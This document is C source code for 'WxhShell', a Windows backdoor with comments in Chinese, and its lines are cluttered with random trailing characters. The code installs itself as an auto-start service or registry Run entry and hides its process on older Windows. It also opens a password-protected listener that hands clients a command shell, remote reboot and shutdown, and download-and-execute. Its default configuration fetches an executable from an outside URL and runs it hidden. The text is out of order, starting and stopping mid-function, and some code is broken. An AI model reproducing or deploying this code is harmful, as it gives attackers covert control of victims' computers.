    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =vc8u&L2  
    if(Boot(SHUTDOWN)) j!;y!g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xhmrep6+<  
    else { G.[,P~yy.  
    closesocket(wsh); L}x,>hbT  
    ExitThread(0); +M/1,&  
    } !.}ZlA  
    break; r}]%(D](v  
    } F#^<t$5t  
  // 获取shell @#CZ7~Hn  
  case 's': { 4IH,:w=ofN  
    CmdShell(wsh); %pk'YA{M)q  
    closesocket(wsh); 4UV<Q*B\F  
    ExitThread(0); qPI1\!z6  
    break; ZI>')T<@j"  
  } JX!@j3  
  // 退出 zIE{U  
  case 'x': { Nt5`F@;B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E)}& p\{E  
    CloseIt(wsh); y +2  
    break; 6-oy%OnN  
    } |*5803h  
  // 离开 b)1v:X4Bv=  
  case 'q': { `HO_t ek  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zA g.,dA  
    closesocket(wsh); CfMCc:8mL  
    WSACleanup(); {Jx-Zo>'  
    exit(1); |0Y: /uL#)  
    break; &ap&dM0@%a  
        } lNwqWOWy  
  } P56B~M_  
  } $2gX!)  
a(Fx1`}  
  // 提示信息 6";ew:Ih^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g,61'5\  
} 9>I&Z8J$M  
  } CNkI9>L=W`  
g;n6hXq4  
  return; T>cO{I  
} ](2\w9i%  
4v?}K   
// shell模块句柄 R|u2ga ~  
int CmdShell(SOCKET sock) &Fg|52  
{ C^^AN~ZD  
STARTUPINFO si; P1u(0t  
ZeroMemory(&si,sizeof(si)); :H(wW   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {IgL H`@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JOUZ"^v  
PROCESS_INFORMATION ProcessInfo; bK69Rb@\A  
char cmdline[]="cmd"; y:Ne}S*ncE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $3'xb/3|  
  return 0; p-o8Ctc?V  
} \Aq$h:<  
h; "pAE  
// 自身启动模式 ][TA7pDPV  
int StartFromService(void) &rbkw<=j  
{ Mc@_[q!xY?  
typedef struct fG_<HJS(~  
{ _X]\#^UiO2  
  DWORD ExitStatus; zc.r&(d  
  DWORD PebBaseAddress; ]]^r)&pox  
  DWORD AffinityMask; >.1d1#+b  
  DWORD BasePriority; h2P&<ggqX  
  ULONG UniqueProcessId; 5I>a|I!j  
  ULONG InheritedFromUniqueProcessId; k((kx:  
}   PROCESS_BASIC_INFORMATION; K 3.z>.F'h  
Min {&?a  
PROCNTQSIP NtQueryInformationProcess; TR&7AiqB  
*ORa@ x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cES8%UC^i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x,j%3/J^2  
&ev#C%Nu  
  HANDLE             hProcess; %% +@s   
  PROCESS_BASIC_INFORMATION pbi; ;;}}uW=  
!IC@^kkh{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Txa 2`2t7  
  if(NULL == hInst ) return 0; Egi(z9|Pp  
2= )V"lR\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f#&@Vl(i&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kIJ=]wU|v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )CoJ9PO7  
ZfU &X{  
  if (!NtQueryInformationProcess) return 0; _ 5/3RN  
4&<zkAMR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lFV\Go  
  if(!hProcess) return 0; l9+)h }  
bo &QKK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xMA2S*%ca  
i;<K)5Z  
  CloseHandle(hProcess); p?#xd!tc2N  
`,s0^?_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FPkig`(3  
if(hProcess==NULL) return 0; c8oE,-~  
7,3 g{8  
HMODULE hMod; asJt 6C  
char procName[255]; %:.IG.`d  
unsigned long cbNeeded; :MILOwF  
M5`wfF,j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &`}ACTY'P  
X<uH [  
  CloseHandle(hProcess); ]ZS/9 $  
oR}'I  
if(strstr(procName,"services")) return 1; // 以服务启动 q]DE\*@  
,A9{x\1!  
  return 0; // 注册表启动 Wl{wY,u  
} U(\ ^!S1  
IRbZ ;*3dO  
// 主模块 J\Z\q  
int StartWxhshell(LPSTR lpCmdLine) Bw4PxJs-  
{ _))--+cL  
  SOCKET wsl; R QCKH]&!  
BOOL val=TRUE; V&>mD"~MP  
  int port=0; [p96H)8YU  
  struct sockaddr_in door; y2@8?  
ePY69!pO5e  
  if(wscfg.ws_autoins) Install(); Wa'm]J  
}>?"bcJ  
port=atoi(lpCmdLine); c59l/qoz  
YvPs   
if(port<=0) port=wscfg.ws_port; 0[!38  
cp 5  
  WSADATA data; 3t$)saQR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? q hme   
?OdJ t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *_tJ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bS*oFm@u  
  door.sin_family = AF_INET; u|8yV.=R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X-J<gI(Y  
  door.sin_port = htons(port); z=a{;1A  
:a y-2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S1W(]%0/  
closesocket(wsl); 1}jwv_0lL  
return 1; y%xn(Bn  
} ]z 5gC`E0  
'>"-e'1m(  
  if(listen(wsl,2) == INVALID_SOCKET) { H8?Kgaj~vf  
closesocket(wsl); AE&IN.-  
return 1; &#qy:  
} F<N{ x^  
  Wxhshell(wsl); O)9{qU:[b  
  WSACleanup(); #ZPy&GIr  
%SD=3UK6  
return 0; yXL]uh#b  
b+ J)  
} J;cTEB  
3*$)9'  
// 以NT服务方式启动 xbhU:,o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )]3(ue  
{ i-_ * 5%A  
DWORD   status = 0; KsBi<wY  
  DWORD   specificError = 0xfffffff; K\`>'C2_V  
H}B%OFI\+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8^%Nl `_2B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #OVf2  "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FZ^j|2.L*  
  serviceStatus.dwWin32ExitCode     = 0; %#,EqN  
  serviceStatus.dwServiceSpecificExitCode = 0; ds"q1  
  serviceStatus.dwCheckPoint       = 0; Q`7.-di  
  serviceStatus.dwWaitHint       = 0; M;K%=l$NG  
6!^&]4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ]7yr.4?a  
  if (hServiceStatusHandle==0) return; @>sZ'M2mq  
E/_I$<,_y  
status = GetLastError(); O$,MdhyXC  
  if (status!=NO_ERROR) dCkk5&2n  
{ !*@sX7H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 26Jb{o9Z<  
    serviceStatus.dwCheckPoint       = 0; 8e3I@mv  
    serviceStatus.dwWaitHint       = 0; k2cC:5Xf3  
    serviceStatus.dwWin32ExitCode     = status; I>(\B|\6  
    serviceStatus.dwServiceSpecificExitCode = specificError; J"Z=`I)KON  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #N'W+M /  
    return; _wKaFf  
  } <|MF\D'  
nD51,1>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M$0-!$RY  
  serviceStatus.dwCheckPoint       = 0; ^$I8ga  
  serviceStatus.dwWaitHint       = 0; +__PT4ps  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ob#d;F  
} /$ :w8  
g VPtd[r  
// 处理NT服务事件,比如:启动、停止 y]e[fZ`L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z/f%$~Ch  
{ 9_  
switch(fdwControl) @z-%:J/$  
{ Z=&cBv4Fs  
case SERVICE_CONTROL_STOP: ;"K;D@xzh]  
  serviceStatus.dwWin32ExitCode = 0; V6ICR{y<3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W#.+C6/  
  serviceStatus.dwCheckPoint   = 0; 4ru-qF  
  serviceStatus.dwWaitHint     = 0; ;n~-z5)  
  { 4{rqGC /  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _P{f+HxU  
  } ~]_U!r[FA  
  return; <lo\7p$A  
case SERVICE_CONTROL_PAUSE: %(1O jfZc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cjx4vP  
  break; l[Z o,4*  
case SERVICE_CONTROL_CONTINUE: R(d<PlZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y>8Qj+d  
  break; N#K)Z5J)b  
case SERVICE_CONTROL_INTERROGATE: cry1gnWG  
  break; dMH_:jb  
}; GLn=*Dh#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r*+~(83k  
} .`}TND~  
@"@|O>KJ  
// 标准应用程序主函数 +Yc^w5 !(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AP=h*1udk  
{ l S)^8  
SO=gG 2E  
// 获取操作系统版本  xgcxA:  
OsIsNt=GetOsVer(); Cgx:6TRS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k1<^Ept  
`Pvi+:6\Y  
  // 从命令行安装 !?nO0Ao-$  
  if(strpbrk(lpCmdLine,"iI")) Install(); KClkPL!jP  
y#j7vO  
  // 下载执行文件 4<i#TCGex3  
if(wscfg.ws_downexe) { XI\Slq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jh3  
  WinExec(wscfg.ws_filenam,SW_HIDE); P |t yyjO  
} >$JE!.p%o  
C< c6Ub  
if(!OsIsNt) { y>EW,%leC  
// 如果时win9x,隐藏进程并且设置为注册表启动 kk /#&b2  
HideProc(); 'F d+1 3  
StartWxhshell(lpCmdLine); `eM ZhY o  
} gz~oQ l)zJ  
else WT'-.UX m  
  if(StartFromService()) )Ka-vX)D@  
  // 以服务方式启动 :)~l3:O  
  StartServiceCtrlDispatcher(DispatchTable); a+E 8s7C/D  
else DK74s  
  // 普通方式启动 eUcb e33  
  StartWxhshell(lpCmdLine); h mRmU{(Y  
x/DV>Nfn  
return 0; 8ttJ\m  
} ]q1w@)]n}  
J"C9z{[Z&  
9"S2KT@8  
Rn~'S2`u  
=========================================== YVMvT>/,  
5@2Rl>B$  
2Mt$Dah  
,Z~`aHhr  
!T,<p    
^I!Z)/  
" :}e<  
|M;Nq@bRv  
#include <stdio.h> gw)4P tb!  
#include <string.h> ,D;8~l lM  
#include <windows.h> \}$|Uo$O  
#include <winsock2.h> dPEDsG0$a  
#include <winsvc.h> 5p#0K@`n/  
#include <urlmon.h> ESCN/ocV  
[c3!xHt5O  
#pragma comment (lib, "Ws2_32.lib") 3Y)&[aj  
#pragma comment (lib, "urlmon.lib") }_nBegv  
rRRh-%.RU  
#define MAX_USER   100 // 最大客户端连接数 .V hU:_u  
#define BUF_SOCK   200 // sock buffer t`8Jz~G`  
#define KEY_BUFF   255 // 输入 buffer R4'.QZ-x  
3+Lwtb}XPF  
#define REBOOT     0   // 重启 Gd 4S7JE  
#define SHUTDOWN   1   // 关机 v WXo#  
th{f|fm62  
#define DEF_PORT   5000 // 监听端口 G3_7e A#;  
=`3r'c  
#define REG_LEN     16   // 注册表键长度 l ms^|?  
#define SVC_LEN     80   // NT服务名长度 i{fw?))+  
=MqEbQn{C3  
// 从dll定义API D`p2aeI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RnkV)ed(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zIF1A*UH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %@PcQJg U<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N/o?\q8  
dHY@V> D'-  
// wxhshell配置信息 PA^*|^;Xh  
struct WSCFG { +S~ u,=  
  int ws_port;         // 监听端口 9K& $8aD  
  char ws_passstr[REG_LEN]; // 口令 ^UvL1+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0XA\Ag\`G  
  char ws_regname[REG_LEN]; // 注册表键名 c +]r  
  char ws_svcname[REG_LEN]; // 服务名 >)WE3PT/O"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >Lcu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ? X8`+`nh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a?y ucA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _/:--Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &u:U"j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 spA|[\Nl  
96\FJHt Z  
}; $*{,Z<|2  
<sC(a7i1  
// default Wxhshell configuration fQ9af)d  
struct WSCFG wscfg={DEF_PORT, )zWu\ JRp  
    "xuhuanlingzhe", (Mfqzy  
    1, TIp\-  
    "Wxhshell", .u A O.<  
    "Wxhshell", %`$bQU  
            "WxhShell Service", >J9Qr#=H2  
    "Wrsky Windows CmdShell Service", s>DFAu!  
    "Please Input Your Password: ", \*MZ 1Q*x  
  1, L"YQji!  
  "http://www.wrsky.com/wxhshell.exe", <W!T+sMQj  
  "Wxhshell.exe" >7WT4l)7!b  
    }; iX?j"=!  
.Yk}iHcW.  
// 消息定义模块 4M"'B A<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7oE:]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j/Kul}Ml\*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #sU>L=  
char *msg_ws_ext="\n\rExit."; w?D=  
char *msg_ws_end="\n\rQuit."; A@3'I  ;  
char *msg_ws_boot="\n\rReboot..."; 'cCM[P+  
char *msg_ws_poff="\n\rShutdown..."; ar@,SKU'K  
char *msg_ws_down="\n\rSave to "; ~[!Tpq5  
MTwzL<@$  
char *msg_ws_err="\n\rErr!"; <RxxGD  
char *msg_ws_ok="\n\rOK!"; Nn_b  
t]sk[  
char ExeFile[MAX_PATH]; }D1? Z7p  
int nUser = 0; HxR5&o  
HANDLE handles[MAX_USER]; s[4qC  
int OsIsNt; {v!w2p@  
T7qp ({v?Q  
SERVICE_STATUS       serviceStatus; XyB_8(/E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .P8m%$'N  
<e Y2}Ml  
// 函数声明 "X<V>q$0~c  
int Install(void); V~Guw[RA  
int Uninstall(void); "S@]yL  
int DownloadFile(char *sURL, SOCKET wsh); \V~B+e  
int Boot(int flag); v#d3W| ~  
void HideProc(void); fhk(<KZvJ  
int GetOsVer(void); o JVdFE  
int Wxhshell(SOCKET wsl); K z^.v`  
void TalkWithClient(void *cs); Zc";R!At  
int CmdShell(SOCKET sock); tv-SX=T  
int StartFromService(void); hXH+C-%{  
int StartWxhshell(LPSTR lpCmdLine); *k\ ;G?  
L]YJ#5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E\2f"s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bz{"K  
/?>W\bP<  
// 数据结构和表定义 f3;[ZS  
SERVICE_TABLE_ENTRY DispatchTable[] = -R9{Ak  
{ UnDX .W*2  
{wscfg.ws_svcname, NTServiceMain}, ;qzn_W  
{NULL, NULL} e9\_H=t+  
}; YPs9Pqkn  
:S`12*_g"  
// 自我安装 {_>XsB  
int Install(void) p>U= Jg  
{ >xRUw5jN  
  char svExeFile[MAX_PATH]; "SuG6!k3  
  HKEY key; #m{F*(%  
  strcpy(svExeFile,ExeFile); U*EBH  
4tkb7D q  
// 如果是win9x系统,修改注册表设为自启动 akj#.aYk  
if(!OsIsNt) { E?&YcVA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R<3 -!p1v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nn0j}ZI)1  
  RegCloseKey(key); }V/iU_)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Y1nU-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/CY@V-  
  RegCloseKey(key); rZAP3)dA  
  return 0; zl, Vj%d  
    } MO1H?U hx  
  } =BD |uIR  
} RP^L.X(7^  
else { (Ms0pm-#t  
c r18`xU  
// 如果是NT以上系统,安装为系统服务 IUWJi\,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PE_JO(e;Xm  
if (schSCManager!=0) n-?zH:]GG{  
{ B0g?!.#23  
  SC_HANDLE schService = CreateService 2Z9ck|L>  
  ( U[pR `u  
  schSCManager, HKC&grp  
  wscfg.ws_svcname, Wa!C2nB  
  wscfg.ws_svcdisp, `OZiN;*|  
  SERVICE_ALL_ACCESS, 1k%HGQM{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ea[SS@'R  
  SERVICE_AUTO_START, .*?-j?U.  
  SERVICE_ERROR_NORMAL, Dz$dJF1 8  
  svExeFile, "-HWw?rx/  
  NULL, jlyuu  
  NULL, u3cl7~- yW  
  NULL, uowdzJ7  
  NULL, x=W5e ^0?  
  NULL 1Si$Q  
  ); -LFk7a  
  if (schService!=0) Yi`DRkp]3  
  { do.XMdit  
  CloseServiceHandle(schService); |*~SR.[`  
  CloseServiceHandle(schSCManager); (76tYt~I=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nGDY::nUE  
  strcat(svExeFile,wscfg.ws_svcname); &`g^b^i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H-% B<7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v# fny  
  RegCloseKey(key); _GoFwVO  
  return 0; T0o0_R  
    } r0<zy_d'  
  } LCSJIt  
  CloseServiceHandle(schSCManager); uesIkJ^Q[  
} j3R}]F'C*  
} f?QP(+M5.  
Tkj F /zv  
return 1; {(d 6of`C_  
} 7a4Z~r27/  
8qUNh#  
// 自我卸载 t#!AfTY$w  
int Uninstall(void) .| :R#VW  
{ 4`sW_ ks  
  HKEY key; kb\\F:w(W  
a 4? c~bs  
if(!OsIsNt) { <`BDN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;6=*E'  
  RegDeleteValue(key,wscfg.ws_regname); |/u,6`  
  RegCloseKey(key); 5^{2 g^jH6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 H>J S  
  RegDeleteValue(key,wscfg.ws_regname); 6anH#=(  
  RegCloseKey(key); 1_mqPMm  
  return 0; 8%Ak   
  } ) '/xNR  
} (Kw%fJT  
} {P==6/<2o  
else { 5',&8  
.07k G]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [KEw5-=i@  
if (schSCManager!=0) S;u 2B_/  
{ -;YhQxxC}L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h\6 t\_^\  
  if (schService!=0) 0<Rq  
  { Q^'xVS_.  
  if(DeleteService(schService)!=0) { ^ b{~]I  
  CloseServiceHandle(schService); > =Na,D  
  CloseServiceHandle(schSCManager); Ibv`/8xh  
  return 0; H96|{q=  
  } Jb|dpu/e  
  CloseServiceHandle(schService); k7nke^,|  
  } dFk$rr>q  
  CloseServiceHandle(schSCManager); #_'^oGz`  
} h\|T(597.  
} >4?735f=x  
6"2IV  
return 1; 8&y#LeM1TT  
} W#L/|K!S  
5"L.C32  
// 从指定url下载文件 s[t?At->  
int DownloadFile(char *sURL, SOCKET wsh) rL/H{.@$`  
{ `Js"*[z  
  HRESULT hr; 1Uc/ r>u9  
char seps[]= "/"; C)&BtiUN/  
char *token; !!)NER-dv  
char *file; p%+'iDb  
char myURL[MAX_PATH]; _"#n%@  
char myFILE[MAX_PATH]; 1 l-Y)   
qKI)*o062  
strcpy(myURL,sURL); vSo,,~ F  
  token=strtok(myURL,seps); nz/cs n  
  while(token!=NULL) nR,QqIFFw  
  { }Rq{9j,%  
    file=token; /kqa|=-`q  
  token=strtok(NULL,seps); xH>j  
  } 4@9xq<<5  
eY`o=xN  
GetCurrentDirectory(MAX_PATH,myFILE); *dx E (dP  
strcat(myFILE, "\\"); 6&"GTK  
strcat(myFILE, file); {Ok]$0L  
  send(wsh,myFILE,strlen(myFILE),0); -=2V4WU~  
send(wsh,"...",3,0); -T>i5'2)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +DYsBCVbag  
  if(hr==S_OK) 8)YDUE%VH  
return 0; E g_ram`\R  
else iE^=Vf;  
return 1; O0sLcuT$  
[I( Yn  
} ;IR.6k$;  
,b t j6hg  
// 系统电源模块 rb]?"lizi  
int Boot(int flag) |}o3EX  
{ /PEL[Os  
  HANDLE hToken; CTQJ=R"  
  TOKEN_PRIVILEGES tkp; B|r'  
Cq}E5M  
  if(OsIsNt) { yXCHBz6&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %0%Tp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tcJN`N  
    tkp.PrivilegeCount = 1; 5a5)hmO RB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [6\b(kS+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QVkrhwp  
if(flag==REBOOT) { e. R9:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ggy9euWV  
  return 0; CsN^u H  
} #@P0i^pFTB  
else { vU9:` @beu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +77B656  
  return 0; b[~-b  
} /])P{"v$^  
  } ]&X}C{v)G  
  else { mTLJajE/  
if(flag==REBOOT) { HbJ^L:/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OU<v9`<  
  return 0; dQy K4T  
} (btm g<WT"  
else { H4<Q}([w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V+t's*9o3  
  return 0; -0P9|;h5  
} !i\ gCLg2_  
} _Sl3)  
&mm!UJ  
return 1; QSOG(}w  
} 9A *gW j  
@]Lu"h#u=  
// win9x进程隐藏模块 xL"O~jTS  
void HideProc(void) t$rla _rbY  
{ k`J|]99Wb  
I8uFMP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kq@~QI?9  
  if ( hKernel != NULL ) /dHIm`. Z  
  { } g%v<'K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <T]ey  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TQ=HFs ~  
    FreeLibrary(hKernel); 0B: v0 R  
  } KtHkLYOCG  
]`M2Kwp  
return; ygQe'S{!S\  
} pj7v{H+  
1:J+`mzpl  
// 获取操作系统版本 IL`=r6\  
int GetOsVer(void) t8`wO+4@  
{ ;*0?C'h=  
  OSVERSIONINFO winfo; !@ {sM6U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -F MonM  
  GetVersionEx(&winfo); Os KtxtLO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [pInF Qh6  
  return 1; *D.Ajd.G  
  else 5GGO:  
  return 0; YLuf2ja}X  
} ',/2J0_  
Y(R.<LtY  
// 客户端句柄模块 $=) Pky-~  
int Wxhshell(SOCKET wsl) iUk#hLLC  
{ zE~Xx p  
  SOCKET wsh; o7@C$R_#  
  struct sockaddr_in client; zjOOEvi  
  DWORD myID; cQm4q19  
 K~B  
  while(nUser<MAX_USER) Y=5P=wE  
{ 3 FV -&Y  
  int nSize=sizeof(client); F< XOt3VY.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QW tDZ>  
  if(wsh==INVALID_SOCKET) return 1; $tej~xZK  
%r8;i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g/VV2^,  
if(handles[nUser]==0) <y?=;54a  
  closesocket(wsh); `evF?t11X  
else &xUD (  
  nUser++; qHvUBx0  
  } Sa kew  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J_?v=dW`  
:Qh rh(i  
  return 0; b'Km-'MtH  
} "p7nngn~  
U_ l9CZ  
// 关闭 socket YoBe!-E  
void CloseIt(SOCKET wsh) k81%$E  
{ 5DVYHN9c|  
closesocket(wsh); b` va\ '&3  
nUser--; ~]q>}/&YLo  
ExitThread(0); e['<.Yf+  
} }1W@  
5~j#Z (}u  
// 客户端请求句柄 A\#z<h[>  
void TalkWithClient(void *cs) 1GK>&;  
{ 3&nN;4~Zx6  
niKfat?  
  SOCKET wsh=(SOCKET)cs; 0[e!/*_V  
  char pwd[SVC_LEN]; Eku  9u  
  char cmd[KEY_BUFF]; RB|i<`Z  
char chr[1]; 8g Z)c\  
int i,j; @5ud{"|2  
2`TV(U@  
  while (nUser < MAX_USER) { c+ e~BN  
AV7#,+p%G  
if(wscfg.ws_passstr) { cqSXX++CS,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i;-M8Q^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v?Utz~lQ  
  //ZeroMemory(pwd,KEY_BUFF); gu+zfvkcY  
      i=0;  6su~SPh  
  while(i<SVC_LEN) { |<5F08]v  
6uT*Fg-G  
  // 设置超时 *mbzK*  
  fd_set FdRead; 8QZI(Xe9r  
  struct timeval TimeOut; }YVF fi~  
  FD_ZERO(&FdRead); %qiVbm0  
  FD_SET(wsh,&FdRead); +vaA P=  
  TimeOut.tv_sec=8; Ikw@B)0}  
  TimeOut.tv_usec=0; t%%()!|)j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q;g7<w17  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IWq#W(yM  
&N._}ts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n:P:im?,y*  
  pwd=chr[0]; h<TZJCt  
  if(chr[0]==0xd || chr[0]==0xa) { QS5t~rb  
  pwd=0; E6Z kO/  
  break; \2 e^x  
  } `$ S&:Q,  
  i++; &Jc atI  
    } -5 D<zP/  
f:ObI  
  // 如果是非法用户,关闭 socket /s} "0/Y\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {(!JYz~P  
} 1 l"2 ~k  
rM"27ud[`_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d?T!)w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b5LToy:  
`Y5LAt:  
while(1) { $`55 E(  
_p*8ke  
  ZeroMemory(cmd,KEY_BUFF); 6{Q-]LOc[.  
[&PF ;)i  
      // 自动支持客户端 telnet标准   Dzf\m>H[  
  j=0; }#7rg_O]>  
  while(j<KEY_BUFF) { )N8bO I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h]s~w  
  cmd[j]=chr[0]; Z|%h-~  
  if(chr[0]==0xa || chr[0]==0xd) { UZ2_FP  
  cmd[j]=0; YLGE{bS  
  break; kuD$]A Q`&  
  } ,1#? 0q  
  j++; LwK]fFtu  
    } xdgAu  
<Q\KS  
  // 下载文件 vxj:Y'}  
  if(strstr(cmd,"http://")) { h_[{-WC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }!oEjcX'  
  if(DownloadFile(cmd,wsh)) .i I{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+ZA"i+  
  else P:4"~ ]}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hm! J@  
  } <1l%|   
  else { SL-2^\R  
HS/.H,X  
